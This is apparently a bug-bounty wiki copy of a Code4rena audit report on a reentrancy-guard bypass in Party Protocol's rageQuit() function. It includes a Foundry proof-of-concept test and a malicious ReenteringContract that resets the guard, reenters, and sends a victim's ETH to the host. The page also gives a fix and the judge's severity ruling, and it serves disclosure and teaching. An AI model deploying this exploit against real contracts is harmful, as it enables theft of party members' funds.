Skip to content
Race condition Audit finding Advanced

Reentrancy guard in rageQuit() can be bypassed

The reentrancy guard in rageQuit() can be bypassed by a party host who resets the rageQuitTimestamp during a token transfer callback, allowing reentrancy and potentially stealing funds from other members.

adriro Follow with gjaldon, hansfriese and 2 others

Originally disclosed on Code4rena

Submitted by adriro, also found by gjaldon, hansfriese, 0x52, and d3e4

The reentrancy guard present in the rageQuit() function can be bypassed by host accounts, leading to reentrancy attack vectors and loss of funds.

The new rageQuit() function can be used by party members to exit their position and obtain their share of the tokens held by the party contract. In order to prevent function reentrancy while sending ETH or transferring ERC20 tokens, the implementation reuses the rageQuitTimestamp variable as a guard to check if the function is being called again while executing.

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L293-L353

293:     function rageQuit(
294:         uint256[] calldata tokenIds,
295:         IERC20[] calldata withdrawTokens,
296:         address receiver
297:     ) external {
298:         // Check if ragequit is allowed.
299:         uint40 currentRageQuitTimestamp = rageQuitTimestamp;
300:         if (currentRageQuitTimestamp != ENABLE_RAGEQUIT_PERMANENTLY) {
301:             if (
302:                 currentRageQuitTimestamp == DISABLE_RAGEQUIT_PERMANENTLY ||
303:                 currentRageQuitTimestamp < block.timestamp
304:             ) {
305:                 revert CannotRageQuitError(currentRageQuitTimestamp);
306:             }
307:         }
308:
309:         // Used as a reentrancy guard. Will be updated back after ragequit.
310:         delete rageQuitTimestamp;

             ...

349:         // Update ragequit timestamp back to before.
350:         rageQuitTimestamp = currentRageQuitTimestamp;
351:
352:         emit RageQuit(tokenIds, withdrawTokens, receiver);
353:     }

The implementation deletes the value of rageQuitTimestamp (which sets it to zero) in line 310. The intention is to use this variable to prevent reentrancy, as setting it to zero will block any call due to the check in line 303, block.timestamp will be greater than zero and will lead to the revert in line 305. After NFTs are burned and tokens are transferred, the function restores the original value in line 350.

This reentrancy guard can still be bypassed using setRageQuit(). If execution control is transferred to the attacker, then the attacker can call setRageQuit() to reset the value to anything greater than block.timestamp, allowing the reentrancy on the rageQuit() function. Note that this would require the attacker to be a party host or be in complicity with a party host.

The general scenario to trigger the reentrancy is as follows:

  1. User calls rageQuit().

  2. ETH or ERC20 transfers control to the attacker. This can be in different forms:

    • ETH transfers to contracts that invoke the receive() or fallback() function.
    • Variations of the ERC20 tokens that have callbacks during transfers (e.g. ERC777)
    • Poisoned ERC20 implementation that receives control during the transfer() call itself.
  3. Attacker resets the rageQuitTimestamp by calling setRageQuit(block.timestamp + 1).

  4. Attacker reenters the rageQuit() function.

The issue can be exploited to disable the reentrancy guard in the rageQuit() function, leading to further attacks. We will explore a scenario of potential loss of funds in the next section.

Proof of Concept

The following is an adaptation of the test testRageQuit_cannotReenter() present in the PartyGovernanceNFT.t.sol test suite, with minimal variations to enable the described attack.

Note: the snippet shows only the relevant code for the test. Full test file can be found here.

function test_PartyGovernanceNFT_ReentrancyAttack() external {
   address alice = makeAddr("alice");
   address host = makeAddr("host");

   (Party party, , ) = partyAdmin.createParty(
      partyImpl,
      PartyAdmin.PartyCreationMinimalOptions({
            host1: address(this),
            host2: host,
            passThresholdBps: 5100,
            totalVotingPower: 100,
            preciousTokenAddress: address(toadz),
            preciousTokenId: 1,
            rageQuitTimestamp: 0,
            feeBps: 0,
            feeRecipient: payable(0)
      })
   );

   vm.prank(address(this));
   party.setRageQuit(uint40(block.timestamp) + 1);

   // Mint voting NFTs, alice and host have both 50%
   vm.prank(address(partyAdmin));
   uint256 aliceTokenId = party.mint(alice, 50, alice);
   vm.prank(address(partyAdmin));
   uint256 hostTokenId = party.mint(host, 50, host);

   // Host (attacker) deploys malicious ReenteringContract
   ReenteringContract reenteringContract = new ReenteringContract(party, hostTokenId, host);

   // Host sends his NFT to the contract
   vm.prank(host);
   party.transferFrom(host, address(reenteringContract), hostTokenId);

   // Host transfer host feature to contract
   vm.prank(host);
   party.abdicateHost(address(reenteringContract));

   // Simulate there is 1 ETH in the party
   vm.deal(address(party), 1 ether);

   // Alice decides to rage quit

   IERC20[] memory tokens = new IERC20[](2);
   tokens[0] = IERC20(address(reenteringContract));
   tokens[1] = IERC20(ETH_ADDRESS);

   uint256[] memory tokenIds = new uint256[](1);
   tokenIds[0] = aliceTokenId;

   vm.prank(alice);
   party.rageQuit(tokenIds, tokens, alice);

   // Alice has 0 ETH while the host (attacker) has all the funds
   assertEq(alice.balance, 0);
   assertEq(host.balance, 1 ether);
}

contract ReenteringContract is ERC721Receiver {
    Party party;
    uint256 tokenId;
    address attacker;

    constructor(Party _party, uint256 _tokenId, address _attacker) {
        party = _party;
        tokenId = _tokenId;
        attacker = _attacker;
    }

    function balanceOf(address) external returns (uint256) {
        return 1337;
    }

    function transfer(address, uint256) external returns (bool) {
        // Disable reentrancy guard
        party.setRageQuit(uint40(block.timestamp + 1));

        // Return host to attacker
        party.abdicateHost(attacker);

        // Execute attack
        IERC20[] memory tokens = new IERC20[](1);
        tokens[0] = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = tokenId;
        party.rageQuit(tokenIds, tokens, address(this));
        return true;
    }

    fallback() external payable {
        // sends funds to attacker
        payable(attacker).transfer(address(this).balance);
    }
}

Recommendation

Implement a reentrancy guard using a dedicated variable that acts as the flag, such as the one available in the OpenZeppelin contracts library.

Alternatively, if the intention is to reuse the same rageQuitTimestamp variable, set it temporarily to DISABLE_RAGEQUIT_PERMANENTLY instead of zero. This will prevent calling setRageQuit() to reset the rageQuitTimestamp variable while also blocking calls to rageQuit().

Assessed type

Reentrancy

cccz (judge) decreased severity to Medium and commented:

This attack scenario requires the victim to add malicious ERC20 tokens to the withdrawTokens parameter, and since this is not directly compromising user assets (which requires certain external requirements), consider M.

0xble (Party) confirmed

Note: for full discussion, see here.


The original report as published on Code4rena, by adriro. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The guard uses a timestamp variable that can be reset by a host via setRageQuit() during the external call, instead of a dedicated non-reentrant flag.

Impact

The attacker could drain funds from the party, but the judge noted the attack requires the victim to include malicious ERC20 tokens in withdrawTokens, so it was rated Medium.

What the attacker needed

Attacker is a party host or colludes with one; victim includes a malicious ERC20 token in withdrawTokens

The fix

Use a dedicated reentrancy guard variable (e.g., OpenZeppelin's ReentrancyGuard) or set rageQuitTimestamp to DISABLE_RAGEQUIT_PERMANENTLY temporarily.

How it was found

  1. A user calls rageQuit().
  2. During ETH or ERC20 transfer, control passes to the attacker's contract.
  3. The attacker calls setRageQuit(block.timestamp + 1) to reset the guard.
  4. The attacker reenters rageQuit().

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A reentrancy guard is a safety check that stops a function from being called again before it finishes. Here, the guard could be turned off by a privileged user (a host) during a token transfer, letting them call the function again and take more than their share.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by adriro

View all

57 more disclosed reports, best first.

More from Party Protocol

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.